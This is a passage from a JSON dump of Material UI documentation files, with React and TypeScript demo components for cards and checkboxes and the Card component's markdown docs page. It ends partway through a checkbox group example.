    "content": "import Card from '@mui/material/Card';\nimport CardActions from '@mui/material/CardActions';\nimport CardContent from '@mui/material/CardContent';\nimport CardMedia from '@mui/material/CardMedia';\nimport Button from '@mui/material/Button';\nimport Typography from '@mui/material/Typography';\n\nexport default function ImgMediaCard() {\n  return (\n    <Card sx={{ maxWidth: 345 }}>\n      <CardMedia\n        component=\"img\"\n        alt=\"green iguana\"\n        height=\"140\"\n        image=\"/static/images/cards/contemplative-reptile.jpg\"\n      />\n      <CardContent>\n        <Typography gutterBottom variant=\"h5\" component=\"div\">\n          Lizard\n        </Typography>\n        <Typography variant=\"body2\" sx={{ color: 'text.secondary' }}>\n          Lizards are a widespread group of squamate reptiles, with over 6,000\n          species, ranging across all continents except Antarctica\n        </Typography>\n      </CardContent>\n      <CardActions>\n        <Button size=\"small\">Share</Button>\n        <Button size=\"small\">Learn More</Button>\n      </CardActions>\n    </Card>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/cards/ImgMediaCard.tsx",
    "content": "import Card from '@mui/material/Card';\nimport CardActions from '@mui/material/CardActions';\nimport CardContent from '@mui/material/CardContent';\nimport CardMedia from '@mui/material/CardMedia';\nimport Button from '@mui/material/Button';\nimport Typography from '@mui/material/Typography';\n\nexport default function ImgMediaCard() {\n  return (\n    <Card sx={{ maxWidth: 345 }}>\n      <CardMedia\n        component=\"img\"\n        alt=\"green iguana\"\n        height=\"140\"\n        image=\"/static/images/cards/contemplative-reptile.jpg\"\n      />\n      <CardContent>\n        <Typography gutterBottom variant=\"h5\" component=\"div\">\n          Lizard\n        </Typography>\n        <Typography variant=\"body2\" sx={{ color: 'text.secondary' }}>\n          Lizards are a widespread group of squamate reptiles, with over 6,000\n          species, ranging across all continents except Antarctica\n        </Typography>\n      </CardContent>\n      <CardActions>\n        <Button size=\"small\">Share</Button>\n        <Button size=\"small\">Learn More</Button>\n      </CardActions>\n    </Card>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/cards/MediaCard.js",
    "content": "import Card from '@mui/material/Card';\nimport CardActions from '@mui/material/CardActions';\nimport CardContent from '@mui/material/CardContent';\nimport CardMedia from '@mui/material/CardMedia';\nimport Button from '@mui/material/Button';\nimport Typography from '@mui/material/Typography';\n\nexport default function MediaCard() {\n  return (\n    <Card sx={{ maxWidth: 345 }}>\n      <CardMedia\n        sx={{ height: 140 }}\n        image=\"/static/images/cards/contemplative-reptile.jpg\"\n        title=\"green iguana\"\n      />\n      <CardContent>\n        <Typography gutterBottom variant=\"h5\" component=\"div\">\n          Lizard\n        </Typography>\n        <Typography variant=\"body2\" sx={{ color: 'text.secondary' }}>\n          Lizards are a widespread group of squamate reptiles, with over 6,000\n          species, ranging across all continents except Antarctica\n        </Typography>\n      </CardContent>\n      <CardActions>\n        <Button size=\"small\">Share</Button>\n        <Button size=\"small\">Learn More</Button>\n      </CardActions>\n    </Card>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/cards/MediaCard.tsx",
    "content": "import Card from '@mui/material/Card';\nimport CardActions from '@mui/material/CardActions';\nimport CardContent from '@mui/material/CardContent';\nimport CardMedia from '@mui/material/CardMedia';\nimport Button from '@mui/material/Button';\nimport Typography from '@mui/material/Typography';\n\nexport default function MediaCard() {\n  return (\n    <Card sx={{ maxWidth: 345 }}>\n      <CardMedia\n        sx={{ height: 140 }}\n        image=\"/static/images/cards/contemplative-reptile.jpg\"\n        title=\"green iguana\"\n      />\n      <CardContent>\n        <Typography gutterBottom variant=\"h5\" component=\"div\">\n          Lizard\n        </Typography>\n        <Typography variant=\"body2\" sx={{ color: 'text.secondary' }}>\n          Lizards are a widespread group of squamate reptiles, with over 6,000\n          species, ranging across all continents except Antarctica\n        </Typography>\n      </CardContent>\n      <CardActions>\n        <Button size=\"small\">Share</Button>\n        <Button size=\"small\">Learn More</Button>\n      </CardActions>\n    </Card>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/cards/MediaControlCard.js",
    "content": "import { useTheme } from '@mui/material/styles';\nimport Box from '@mui/material/Box';\nimport Card from '@mui/material/Card';\nimport CardContent from '@mui/material/CardContent';\nimport CardMedia from '@mui/material/CardMedia';\nimport IconButton from '@mui/material/IconButton';\nimport Typography from '@mui/material/Typography';\nimport SkipPreviousIcon from '@mui/icons-material/SkipPrevious';\nimport PlayArrowIcon from '@mui/icons-material/PlayArrow';\nimport SkipNextIcon from '@mui/icons-material/SkipNext';\n\nexport default function MediaControlCard() {\n  const theme = useTheme();\n\n  return (\n    <Card sx={{ display: 'flex' }}>\n      <Box sx={{ display: 'flex', flexDirection: 'column' }}>\n        <CardContent sx={{ flex: '1 0 auto' }}>\n          <Typography component=\"div\" variant=\"h5\">\n            Live From Space\n          </Typography>\n          <Typography\n            variant=\"subtitle1\"\n            component=\"div\"\n            sx={{ color: 'text.secondary' }}\n          >\n            Mac Miller\n          </Typography>\n        </CardContent>\n        <Box sx={{ display: 'flex', alignItems: 'center', pl: 1, pb: 1 }}>\n          <IconButton aria-label=\"previous\">\n            {theme.direction === 'rtl' ? <SkipNextIcon /> : <SkipPreviousIcon />}\n          </IconButton>\n          <IconButton aria-label=\"play/pause\">\n            <PlayArrowIcon sx={{ height: 38, width: 38 }} />\n          </IconButton>\n          <IconButton aria-label=\"next\">\n            {theme.direction === 'rtl' ? <SkipPreviousIcon /> : <SkipNextIcon />}\n          </IconButton>\n        </Box>\n      </Box>\n      <CardMedia\n        component=\"img\"\n        sx={{ width: 151 }}\n        image=\"/static/images/cards/live-from-space.jpg\"\n        alt=\"Live from space album cover\"\n      />\n    </Card>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/cards/MediaControlCard.tsx",
    "content": "import { useTheme } from '@mui/material/styles';\nimport Box from '@mui/material/Box';\nimport Card from '@mui/material/Card';\nimport CardContent from '@mui/material/CardContent';\nimport CardMedia from '@mui/material/CardMedia';\nimport IconButton from '@mui/material/IconButton';\nimport Typography from '@mui/material/Typography';\nimport SkipPreviousIcon from '@mui/icons-material/SkipPrevious';\nimport PlayArrowIcon from '@mui/icons-material/PlayArrow';\nimport SkipNextIcon from '@mui/icons-material/SkipNext';\n\nexport default function MediaControlCard() {\n  const theme = useTheme();\n\n  return (\n    <Card sx={{ display: 'flex' }}>\n      <Box sx={{ display: 'flex', flexDirection: 'column' }}>\n        <CardContent sx={{ flex: '1 0 auto' }}>\n          <Typography component=\"div\" variant=\"h5\">\n            Live From Space\n          </Typography>\n          <Typography\n            variant=\"subtitle1\"\n            component=\"div\"\n            sx={{ color: 'text.secondary' }}\n          >\n            Mac Miller\n          </Typography>\n        </CardContent>\n        <Box sx={{ display: 'flex', alignItems: 'center', pl: 1, pb: 1 }}>\n          <IconButton aria-label=\"previous\">\n            {theme.direction === 'rtl' ? <SkipNextIcon /> : <SkipPreviousIcon />}\n          </IconButton>\n          <IconButton aria-label=\"play/pause\">\n            <PlayArrowIcon sx={{ height: 38, width: 38 }} />\n          </IconButton>\n          <IconButton aria-label=\"next\">\n            {theme.direction === 'rtl' ? <SkipPreviousIcon /> : <SkipNextIcon />}\n          </IconButton>\n        </Box>\n      </Box>\n      <CardMedia\n        component=\"img\"\n        sx={{ width: 151 }}\n        image=\"/static/images/cards/live-from-space.jpg\"\n        alt=\"Live from space album cover\"\n      />\n    </Card>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/cards/MultiActionAreaCard.js",
    "content": "import Card from '@mui/material/Card';\nimport CardContent from '@mui/material/CardContent';\nimport CardMedia from '@mui/material/CardMedia';\nimport Typography from '@mui/material/Typography';\nimport Button from '@mui/material/Button';\nimport CardActionArea from '@mui/material/CardActionArea';\nimport CardActions from '@mui/material/CardActions';\n\nexport default function MultiActionAreaCard() {\n  return (\n    <Card sx={{ maxWidth: 345 }}>\n      <CardActionArea>\n        <CardMedia\n          component=\"img\"\n          height=\"140\"\n          image=\"/static/images/cards/contemplative-reptile.jpg\"\n          alt=\"green iguana\"\n        />\n        <CardContent>\n          <Typography gutterBottom variant=\"h5\" component=\"div\">\n            Lizard\n          </Typography>\n          <Typography variant=\"body2\" sx={{ color: 'text.secondary' }}>\n            Lizards are a widespread group of squamate reptiles, with over 6,000\n            species, ranging across all continents except Antarctica\n          </Typography>\n        </CardContent>\n      </CardActionArea>\n      <CardActions>\n        <Button size=\"small\" color=\"primary\">\n          Share\n        </Button>\n      </CardActions>\n    </Card>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/cards/MultiActionAreaCard.tsx",
    "content": "import Card from '@mui/material/Card';\nimport CardContent from '@mui/material/CardContent';\nimport CardMedia from '@mui/material/CardMedia';\nimport Typography from '@mui/material/Typography';\nimport Button from '@mui/material/Button';\nimport CardActionArea from '@mui/material/CardActionArea';\nimport CardActions from '@mui/material/CardActions';\n\nexport default function MultiActionAreaCard() {\n  return (\n    <Card sx={{ maxWidth: 345 }}>\n      <CardActionArea>\n        <CardMedia\n          component=\"img\"\n          height=\"140\"\n          image=\"/static/images/cards/contemplative-reptile.jpg\"\n          alt=\"green iguana\"\n        />\n        <CardContent>\n          <Typography gutterBottom variant=\"h5\" component=\"div\">\n            Lizard\n          </Typography>\n          <Typography variant=\"body2\" sx={{ color: 'text.secondary' }}>\n            Lizards are a widespread group of squamate reptiles, with over 6,000\n            species, ranging across all continents except Antarctica\n          </Typography>\n        </CardContent>\n      </CardActionArea>\n      <CardActions>\n        <Button size=\"small\" color=\"primary\">\n          Share\n        </Button>\n      </CardActions>\n    </Card>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/cards/OutlinedCard.js",
    "content": "import * as React from 'react';\nimport Box from '@mui/material/Box';\nimport Card from '@mui/material/Card';\nimport CardActions from '@mui/material/CardActions';\nimport CardContent from '@mui/material/CardContent';\nimport Button from '@mui/material/Button';\nimport Typography from '@mui/material/Typography';\n\nconst bull = (\n  <Box\n    component=\"span\"\n    sx={{ display: 'inline-block', mx: '2px', transform: 'scale(0.8)' }}\n  >\n    •\n  </Box>\n);\n\nconst card = (\n  <React.Fragment>\n    <CardContent>\n      <Typography gutterBottom sx={{ color: 'text.secondary', fontSize: 14 }}>\n        Word of the Day\n      </Typography>\n      <Typography variant=\"h5\" component=\"div\">\n        be{bull}nev{bull}o{bull}lent\n      </Typography>\n      <Typography sx={{ color: 'text.secondary', mb: 1.5 }}>adjective</Typography>\n      <Typography variant=\"body2\">\n        well meaning and kindly.\n        <br />\n        {'\"a benevolent smile\"'}\n      </Typography>\n    </CardContent>\n    <CardActions>\n      <Button size=\"small\">Learn More</Button>\n    </CardActions>\n  </React.Fragment>\n);\n\nexport default function OutlinedCard() {\n  return (\n    <Box sx={{ minWidth: 275 }}>\n      <Card variant=\"outlined\">{card}</Card>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/cards/OutlinedCard.tsx",
    "content": "import * as React from 'react';\nimport Box from '@mui/material/Box';\nimport Card from '@mui/material/Card';\nimport CardActions from '@mui/material/CardActions';\nimport CardContent from '@mui/material/CardContent';\nimport Button from '@mui/material/Button';\nimport Typography from '@mui/material/Typography';\n\nconst bull = (\n  <Box\n    component=\"span\"\n    sx={{ display: 'inline-block', mx: '2px', transform: 'scale(0.8)' }}\n  >\n    •\n  </Box>\n);\n\nconst card = (\n  <React.Fragment>\n    <CardContent>\n      <Typography gutterBottom sx={{ color: 'text.secondary', fontSize: 14 }}>\n        Word of the Day\n      </Typography>\n      <Typography variant=\"h5\" component=\"div\">\n        be{bull}nev{bull}o{bull}lent\n      </Typography>\n      <Typography sx={{ color: 'text.secondary', mb: 1.5 }}>adjective</Typography>\n      <Typography variant=\"body2\">\n        well meaning and kindly.\n        <br />\n        {'\"a benevolent smile\"'}\n      </Typography>\n    </CardContent>\n    <CardActions>\n      <Button size=\"small\">Learn More</Button>\n    </CardActions>\n  </React.Fragment>\n);\n\nexport default function OutlinedCard() {\n  return (\n    <Box sx={{ minWidth: 275 }}>\n      <Card variant=\"outlined\">{card}</Card>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/cards/OutlinedCard.tsx.preview",
    "content": "<Card variant=\"outlined\">{card}</Card>"
  },
  {
    "path": "docs/data/material/components/cards/RecipeReviewCard.js",
    "content": "import * as React from 'react';\nimport { styled } from '@mui/material/styles';\nimport Card from '@mui/material/Card';\nimport CardHeader from '@mui/material/CardHeader';\nimport CardMedia from '@mui/material/CardMedia';\nimport CardContent from '@mui/material/CardContent';\nimport CardActions from '@mui/material/CardActions';\nimport Collapse from '@mui/material/Collapse';\nimport Avatar from '@mui/material/Avatar';\nimport IconButton from '@mui/material/IconButton';\nimport Typography from '@mui/material/Typography';\nimport { red } from '@mui/material/colors';\nimport FavoriteIcon from '@mui/icons-material/Favorite';\nimport ShareIcon from '@mui/icons-material/Share';\nimport ExpandMoreIcon from '@mui/icons-material/ExpandMore';\nimport MoreVertIcon from '@mui/icons-material/MoreVert';\n\nconst ExpandMore = styled((props) => {\n  const { expand, ...other } = props;\n  return <IconButton {...other} />;\n})(({ theme }) => ({\n  marginLeft: 'auto',\n  transition: theme.transitions.create('transform', {\n    duration: theme.transitions.duration.shortest,\n  }),\n  variants: [\n    {\n      props: ({ expand }) => !expand,\n      style: {\n        transform: 'rotate(0deg)',\n      },\n    },\n    {\n      props: ({ expand }) => !!expand,\n      style: {\n        transform: 'rotate(180deg)',\n      },\n    },\n  ],\n}));\n\nexport default function RecipeReviewCard() {\n  const [expanded, setExpanded] = React.useState(false);\n\n  const handleExpandClick = () => {\n    setExpanded(!expanded);\n  };\n\n  return (\n    <Card sx={{ maxWidth: 345 }}>\n      <CardHeader\n        avatar={\n          <Avatar sx={{ bgcolor: red[500] }} aria-label=\"recipe\">\n            R\n          </Avatar>\n        }\n        action={\n          <IconButton aria-label=\"settings\">\n            <MoreVertIcon />\n          </IconButton>\n        }\n        title=\"Shrimp and Chorizo Paella\"\n        subheader=\"September 14, 2016\"\n      />\n      <CardMedia\n        component=\"img\"\n        height=\"194\"\n        image=\"/static/images/cards/paella.jpg\"\n        alt=\"Paella dish\"\n      />\n      <CardContent>\n        <Typography variant=\"body2\" sx={{ color: 'text.secondary' }}>\n          This impressive paella is a perfect party dish and a fun meal to cook\n          together with your guests. Add 1 cup of frozen peas along with the mussels,\n          if you like.\n        </Typography>\n      </CardContent>\n      <CardActions disableSpacing>\n        <IconButton aria-label=\"add to favorites\">\n          <FavoriteIcon />\n        </IconButton>\n        <IconButton aria-label=\"share\">\n          <ShareIcon />\n        </IconButton>\n        <ExpandMore\n          expand={expanded}\n          onClick={handleExpandClick}\n          aria-expanded={expanded}\n          aria-label=\"show more\"\n        >\n          <ExpandMoreIcon />\n        </ExpandMore>\n      </CardActions>\n      <Collapse in={expanded} timeout=\"auto\" unmountOnExit>\n        <CardContent>\n          <Typography sx={{ marginBottom: 2 }}>Method:</Typography>\n          <Typography sx={{ marginBottom: 2 }}>\n            Heat 1/2 cup of the broth in a pot until simmering, add saffron and set\n            aside for 10 minutes.\n          </Typography>\n          <Typography sx={{ marginBottom: 2 }}>\n            Heat oil in a (14- to 16-inch) paella pan or a large, deep skillet over\n            medium-high heat. Add chicken, shrimp and chorizo, and cook, stirring\n            occasionally until lightly browned, 6 to 8 minutes. Transfer shrimp to a\n            large plate and set aside, leaving chicken and chorizo in the pan. Add\n            pimentón, bay leaves, garlic, tomatoes, onion, salt and pepper, and cook,\n            stirring often until thickened and fragrant, about 10 minutes. Add\n            saffron broth and remaining 4 1/2 cups chicken broth; bring to a boil.\n          </Typography>\n          <Typography sx={{ marginBottom: 2 }}>\n            Add rice and stir very gently to distribute. Top with artichokes and\n            peppers, and cook without stirring, until most of the liquid is absorbed,\n            15 to 18 minutes. Reduce heat to medium-low, add reserved shrimp and\n            mussels, tucking them down into the rice, and cook again without\n            stirring, until mussels have opened and rice is just tender, 5 to 7\n            minutes more. (Discard any mussels that don&apos;t open.)\n          </Typography>\n          <Typography>\n            Set aside off of the heat to let rest for 10 minutes, and then serve.\n          </Typography>\n        </CardContent>\n      </Collapse>\n    </Card>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/cards/RecipeReviewCard.tsx",
    "content": "import * as React from 'react';\nimport { styled } from '@mui/material/styles';\nimport Card from '@mui/material/Card';\nimport CardHeader from '@mui/material/CardHeader';\nimport CardMedia from '@mui/material/CardMedia';\nimport CardContent from '@mui/material/CardContent';\nimport CardActions from '@mui/material/CardActions';\nimport Collapse from '@mui/material/Collapse';\nimport Avatar from '@mui/material/Avatar';\nimport IconButton, { IconButtonProps } from '@mui/material/IconButton';\nimport Typography from '@mui/material/Typography';\nimport { red } from '@mui/material/colors';\nimport FavoriteIcon from '@mui/icons-material/Favorite';\nimport ShareIcon from '@mui/icons-material/Share';\nimport ExpandMoreIcon from '@mui/icons-material/ExpandMore';\nimport MoreVertIcon from '@mui/icons-material/MoreVert';\n\ninterface ExpandMoreProps extends IconButtonProps {\n  expand: boolean;\n}\n\nconst ExpandMore = styled((props: ExpandMoreProps) => {\n  const { expand, ...other } = props;\n  return <IconButton {...other} />;\n})(({ theme }) => ({\n  marginLeft: 'auto',\n  transition: theme.transitions.create('transform', {\n    duration: theme.transitions.duration.shortest,\n  }),\n  variants: [\n    {\n      props: ({ expand }) => !expand,\n      style: {\n        transform: 'rotate(0deg)',\n      },\n    },\n    {\n      props: ({ expand }) => !!expand,\n      style: {\n        transform: 'rotate(180deg)',\n      },\n    },\n  ],\n}));\n\nexport default function RecipeReviewCard() {\n  const [expanded, setExpanded] = React.useState(false);\n\n  const handleExpandClick = () => {\n    setExpanded(!expanded);\n  };\n\n  return (\n    <Card sx={{ maxWidth: 345 }}>\n      <CardHeader\n        avatar={\n          <Avatar sx={{ bgcolor: red[500] }} aria-label=\"recipe\">\n            R\n          </Avatar>\n        }\n        action={\n          <IconButton aria-label=\"settings\">\n            <MoreVertIcon />\n          </IconButton>\n        }\n        title=\"Shrimp and Chorizo Paella\"\n        subheader=\"September 14, 2016\"\n      />\n      <CardMedia\n        component=\"img\"\n        height=\"194\"\n        image=\"/static/images/cards/paella.jpg\"\n        alt=\"Paella dish\"\n      />\n      <CardContent>\n        <Typography variant=\"body2\" sx={{ color: 'text.secondary' }}>\n          This impressive paella is a perfect party dish and a fun meal to cook\n          together with your guests. Add 1 cup of frozen peas along with the mussels,\n          if you like.\n        </Typography>\n      </CardContent>\n      <CardActions disableSpacing>\n        <IconButton aria-label=\"add to favorites\">\n          <FavoriteIcon />\n        </IconButton>\n        <IconButton aria-label=\"share\">\n          <ShareIcon />\n        </IconButton>\n        <ExpandMore\n          expand={expanded}\n          onClick={handleExpandClick}\n          aria-expanded={expanded}\n          aria-label=\"show more\"\n        >\n          <ExpandMoreIcon />\n        </ExpandMore>\n      </CardActions>\n      <Collapse in={expanded} timeout=\"auto\" unmountOnExit>\n        <CardContent>\n          <Typography sx={{ marginBottom: 2 }}>Method:</Typography>\n          <Typography sx={{ marginBottom: 2 }}>\n            Heat 1/2 cup of the broth in a pot until simmering, add saffron and set\n            aside for 10 minutes.\n          </Typography>\n          <Typography sx={{ marginBottom: 2 }}>\n            Heat oil in a (14- to 16-inch) paella pan or a large, deep skillet over\n            medium-high heat. Add chicken, shrimp and chorizo, and cook, stirring\n            occasionally until lightly browned, 6 to 8 minutes. Transfer shrimp to a\n            large plate and set aside, leaving chicken and chorizo in the pan. Add\n            pimentón, bay leaves, garlic, tomatoes, onion, salt and pepper, and cook,\n            stirring often until thickened and fragrant, about 10 minutes. Add\n            saffron broth and remaining 4 1/2 cups chicken broth; bring to a boil.\n          </Typography>\n          <Typography sx={{ marginBottom: 2 }}>\n            Add rice and stir very gently to distribute. Top with artichokes and\n            peppers, and cook without stirring, until most of the liquid is absorbed,\n            15 to 18 minutes. Reduce heat to medium-low, add reserved shrimp and\n            mussels, tucking them down into the rice, and cook again without\n            stirring, until mussels have opened and rice is just tender, 5 to 7\n            minutes more. (Discard any mussels that don&apos;t open.)\n          </Typography>\n          <Typography>\n            Set aside off of the heat to let rest for 10 minutes, and then serve.\n          </Typography>\n        </CardContent>\n      </Collapse>\n    </Card>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/cards/SelectActionCard.js",
    "content": "import * as React from 'react';\nimport Box from '@mui/material/Box';\nimport Card from '@mui/material/Card';\nimport CardContent from '@mui/material/CardContent';\nimport Typography from '@mui/material/Typography';\nimport CardActionArea from '@mui/material/CardActionArea';\n\nconst cards = [\n  {\n    id: 1,\n    title: 'Plants',\n    description: 'Plants are essential for all life.',\n  },\n  {\n    id: 2,\n    title: 'Animals',\n    description: 'Animals are a part of nature.',\n  },\n  {\n    id: 3,\n    title: 'Humans',\n    description: 'Humans depend on plants and animals for survival.',\n  },\n];\n\nfunction SelectActionCard() {\n  const [selectedCard, setSelectedCard] = React.useState(0);\n  return (\n    <Box\n      sx={{\n        width: '100%',\n        display: 'grid',\n        gridTemplateColumns: 'repeat(auto-fill, minmax(min(200px, 100%), 1fr))',\n        gap: 2,\n      }}\n    >\n      {cards.map((card, index) => (\n        <Card key={card.id}>\n          <CardActionArea\n            onClick={() => setSelectedCard(index)}\n            data-active={selectedCard === index ? '' : undefined}\n            sx={{\n              height: '100%',\n              '&[data-active]': {\n                backgroundColor: 'action.selected',\n                '&:hover': {\n                  backgroundColor: 'action.selectedHover',\n                },\n              },\n            }}\n          >\n            <CardContent sx={{ height: '100%' }}>\n              <Typography variant=\"h5\" component=\"div\">\n                {card.title}\n              </Typography>\n              <Typography variant=\"body2\" sx={{ color: 'text.secondary' }}>\n                {card.description}\n              </Typography>\n            </CardContent>\n          </CardActionArea>\n        </Card>\n      ))}\n    </Box>\n  );\n}\n\nexport default SelectActionCard;\n"
  },
  {
    "path": "docs/data/material/components/cards/SelectActionCard.tsx",
    "content": "import * as React from 'react';\nimport Box from '@mui/material/Box';\nimport Card from '@mui/material/Card';\nimport CardContent from '@mui/material/CardContent';\nimport Typography from '@mui/material/Typography';\nimport CardActionArea from '@mui/material/CardActionArea';\n\nconst cards = [\n  {\n    id: 1,\n    title: 'Plants',\n    description: 'Plants are essential for all life.',\n  },\n  {\n    id: 2,\n    title: 'Animals',\n    description: 'Animals are a part of nature.',\n  },\n  {\n    id: 3,\n    title: 'Humans',\n    description: 'Humans depend on plants and animals for survival.',\n  },\n];\n\nfunction SelectActionCard() {\n  const [selectedCard, setSelectedCard] = React.useState(0);\n  return (\n    <Box\n      sx={{\n        width: '100%',\n        display: 'grid',\n        gridTemplateColumns: 'repeat(auto-fill, minmax(min(200px, 100%), 1fr))',\n        gap: 2,\n      }}\n    >\n      {cards.map((card, index) => (\n        <Card key={card.id}>\n          <CardActionArea\n            onClick={() => setSelectedCard(index)}\n            data-active={selectedCard === index ? '' : undefined}\n            sx={{\n              height: '100%',\n              '&[data-active]': {\n                backgroundColor: 'action.selected',\n                '&:hover': {\n                  backgroundColor: 'action.selectedHover',\n                },\n              },\n            }}\n          >\n            <CardContent sx={{ height: '100%' }}>\n              <Typography variant=\"h5\" component=\"div\">\n                {card.title}\n              </Typography>\n              <Typography variant=\"body2\" sx={{ color: 'text.secondary' }}>\n                {card.description}\n              </Typography>\n            </CardContent>\n          </CardActionArea>\n        </Card>\n      ))}\n    </Box>\n  );\n}\n\nexport default SelectActionCard;\n"
  },
  {
    "path": "docs/data/material/components/cards/cards.md",
    "content": "---\nproductId: material-ui\ntitle: React Card component\ncomponents: Card, CardActionArea, CardActions, CardContent, CardHeader, CardMedia, Collapse, Paper\ngithubLabel: 'scope: card'\nmaterialDesign: https://m2.material.io/components/cards\ngithubSource: packages/mui-material/src/Card\n---\n\n# Card\n\n<p class=\"description\">Cards contain content and actions about a single subject.</p>\n\n{{\"component\": \"@mui/docs/ComponentLinkHeader\"}}\n\n## Introduction\n\nCards are surfaces that display content and actions on a single topic.\nThe Material UI Card component includes several complementary utility components to handle various use cases:\n\n- Card: a surface-level container for grouping related components.\n- Card Content: the wrapper for the Card content.\n- Card Header: an optional wrapper for the Card header.\n- Card Media: an optional container for displaying images, videos, etc.\n- Card Actions: an optional wrapper that groups a set of buttons.\n- Card Action Area: an optional wrapper that allows users to interact with the specified area of the Card.\n\n{{\"demo\": \"BasicCard.js\", \"bg\": true}}\n\n## Basics\n\n```jsx\nimport Card from '@mui/material/Card';\nimport CardContent from '@mui/material/CardContent';\n```\n\n:::success\nAlthough cards can support multiple actions, UI controls, and an overflow menu, use restraint and remember that cards are meant to be entry points to more complex and detailed information.\n:::\n\n### Outlined Card\n\nSet `variant=\"outlined\"` to render an outlined card.\n\n{{\"demo\": \"OutlinedCard.js\", \"bg\": true}}\n\n## Complex Interaction\n\nOn desktop, card content can expand. (Click the downward chevron to view the recipe.)\n\n{{\"demo\": \"RecipeReviewCard.js\", \"bg\": true}}\n\n## Media\n\nExample of a card using an image to reinforce the content.\n\n{{\"demo\": \"MediaCard.js\", \"bg\": true}}\n\nBy default, we use the combination of a `<div>` element and a _background image_ to display the media. It can be problematic in some situations, for example, you might want to display a video or a responsive image. Use the `component` prop for these use cases:\n\n{{\"demo\": \"ImgMediaCard.js\", \"bg\": true}}\n\n## Primary action\n\nOften a card allow users to interact with the entirety of its surface to trigger its main action, be it an expansion, a link to another screen or some other behavior. The action area of the card can be specified by wrapping its contents in a `CardActionArea` component.\n\n{{\"demo\": \"ActionAreaCard.js\", \"bg\": true}}\n\nA card can also offer supplemental actions which should stand detached from the main action area in order to avoid event overlap.\n\n{{\"demo\": \"MultiActionAreaCard.js\", \"bg\": true}}\n\n## UI Controls\n\nSupplemental actions within the card are explicitly called out using icons, text, and UI controls, typically placed at the bottom of the card.\n\nHere's an example of a media control card.\n\n{{\"demo\": \"MediaControlCard.js\", \"bg\": true}}\n\n## Active state styles\n\nTo customize a Card's styles when it's in an active state, you can attach a `data-active` attribute to the Card Action Area component and apply styles with the `&[data-active]` selector, as shown below:\n\n{{\"demo\": \"SelectActionCard.js\", \"bg\": true}}\n\n🎨 If you are looking for inspiration, you can check [MUI Treasury's customization examples](https://mui-treasury.com/?path=/docs/card-introduction--docs).\n"
  },
  {
    "path": "docs/data/material/components/checkboxes/CheckboxLabels.js",
    "content": "import FormGroup from '@mui/material/FormGroup';\nimport FormControlLabel from '@mui/material/FormControlLabel';\nimport Checkbox from '@mui/material/Checkbox';\n\nexport default function CheckboxLabels() {\n  return (\n    <FormGroup>\n      <FormControlLabel control={<Checkbox defaultChecked />} label=\"Label\" />\n      <FormControlLabel required control={<Checkbox />} label=\"Required\" />\n      <FormControlLabel disabled control={<Checkbox />} label=\"Disabled\" />\n    </FormGroup>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/checkboxes/CheckboxLabels.tsx",
    "content": "import FormGroup from '@mui/material/FormGroup';\nimport FormControlLabel from '@mui/material/FormControlLabel';\nimport Checkbox from '@mui/material/Checkbox';\n\nexport default function CheckboxLabels() {\n  return (\n    <FormGroup>\n      <FormControlLabel control={<Checkbox defaultChecked />} label=\"Label\" />\n      <FormControlLabel required control={<Checkbox />} label=\"Required\" />\n      <FormControlLabel disabled control={<Checkbox />} label=\"Disabled\" />\n    </FormGroup>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/checkboxes/CheckboxLabels.tsx.preview",
    "content": "<FormGroup>\n  <FormControlLabel control={<Checkbox defaultChecked />} label=\"Label\" />\n  <FormControlLabel required control={<Checkbox />} label=\"Required\" />\n  <FormControlLabel disabled control={<Checkbox />} label=\"Disabled\" />\n</FormGroup>"
  },
  {
    "path": "docs/data/material/components/checkboxes/Checkboxes.js",
    "content": "import Checkbox from '@mui/material/Checkbox';\n\nconst label = { slotProps: { input: { 'aria-label': 'Checkbox demo' } } };\n\nexport default function Checkboxes() {\n  return (\n    <div>\n      <Checkbox {...label} defaultChecked />\n      <Checkbox {...label} />\n      <Checkbox {...label} disabled />\n      <Checkbox {...label} disabled checked />\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/checkboxes/Checkboxes.tsx",
    "content": "import Checkbox from '@mui/material/Checkbox';\n\nconst label = { slotProps: { input: { 'aria-label': 'Checkbox demo' } } };\n\nexport default function Checkboxes() {\n  return (\n    <div>\n      <Checkbox {...label} defaultChecked />\n      <Checkbox {...label} />\n      <Checkbox {...label} disabled />\n      <Checkbox {...label} disabled checked />\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/checkboxes/Checkboxes.tsx.preview",
    "content": "<Checkbox {...label} defaultChecked />\n<Checkbox {...label} />\n<Checkbox {...label} disabled />\n<Checkbox {...label} disabled checked />"
  },
  {
    "path": "docs/data/material/components/checkboxes/CheckboxesGroup.js",
    "content": "import * as React from 'react';\nimport Box from '@mui/material/Box';\nimport FormLabel from '@mui/material/FormLabel';\nimport FormControl from '@mui/material/FormControl';\nimport FormGroup from '@mui/material/FormGroup';\nimport FormControlLabel from '@mui/material/FormControlLabel';\nimport FormHelperText from '@mui/material/FormHelperText';\nimport Checkbox from '@mui/material/Checkbox';\n\nexport default function CheckboxesGroup() {\n  const [state, setState] = React.useState({\n    gilad: true,\n    jason: false,\n    antoine: false,\n  });\n\n  const handleChange = (event) => {\n    setState({\n      ...state,\n      [event.target.name]: event.target.checked,\n    });\n  };\n\n  const { gilad, jason, antoine } = state;\n  const error = [gilad, jason, antoine].filter((v) => v).length !== 2;\n\n  return (\n    <Box sx={{ display: 'flex' }}>\n      <FormControl sx={{ m: 3 }} component=\"fieldset\" variant=\"standard\">\n        <FormLabel component=\"legend\">Assign responsibility</FormLabel>\n        <FormGroup>\n          <FormControlLabel\n            control={\n              <Checkbox checked={gilad} onChange={handleChange} name=\"gilad\" />\n            }\n            label=\"Gilad Gray\"\n          />\n          <FormControlLabel\n            control={\n              <Checkbox checked={jason} onChange={handleChange} name=\"jason\" />\n            }\n            label=\"Jason 